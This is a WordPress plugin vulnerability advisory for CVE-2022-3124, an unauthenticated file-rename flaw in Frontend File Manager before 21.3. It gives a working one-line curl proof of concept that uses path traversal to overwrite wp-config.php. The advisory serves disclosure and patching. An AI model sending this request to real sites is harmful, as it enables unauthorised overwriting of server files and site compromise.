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WordPress Plugin Vulnerabilities

Frontend File Manager < 21.3 - Unauthenticated File Renaming

Description

The plugin allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server

Proof of Concept

curl -i -s -k -X 'POST' --data-binary 'fileid=45&filename=../../../wp-config.php' 'https://example.com/wp-json/wpfm/v1/file-rename'

This will replace the wp-config.php file with the content of the uploaded file with ID 45 

Affects Plugins

nmedia-user-file-uploader
Fixed in version 21.3

References

CVE
CVE-2022-3124

Classification

Type

NO AUTHORISATION

OWASP top 10
A5: Broken Access Control
CWE
CWE-862

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter
raadfhaddad
Verified

Yes

WPVDB ID
00f76765-95af-4dbc-8c37-f1b15a0e8608

Timeline

Publicly Published

2022-09-07 (about 8 months ago)

Added

2022-09-07 (about 8 months ago)

Last Updated

2022-09-07 (about 8 months ago)

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